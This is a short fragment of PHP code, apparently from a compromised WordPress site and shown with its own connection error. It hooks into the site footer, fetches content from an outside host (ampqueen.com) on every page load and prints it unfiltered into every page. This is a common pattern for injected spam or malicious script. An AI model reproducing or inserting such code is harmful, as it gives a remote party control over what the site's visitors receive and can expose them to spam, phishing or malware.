Error: Failed to connect to ampqueen.com port 443: Connection refused function fetch_url_content() { $url = "https://ampqueen.com/LP9/index.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); if ($output === false) { echo 'Error: ' . curl_error($ch); } else { echo $output; } curl_close($ch); } add_action('wp_footer', 'fetch_url_content');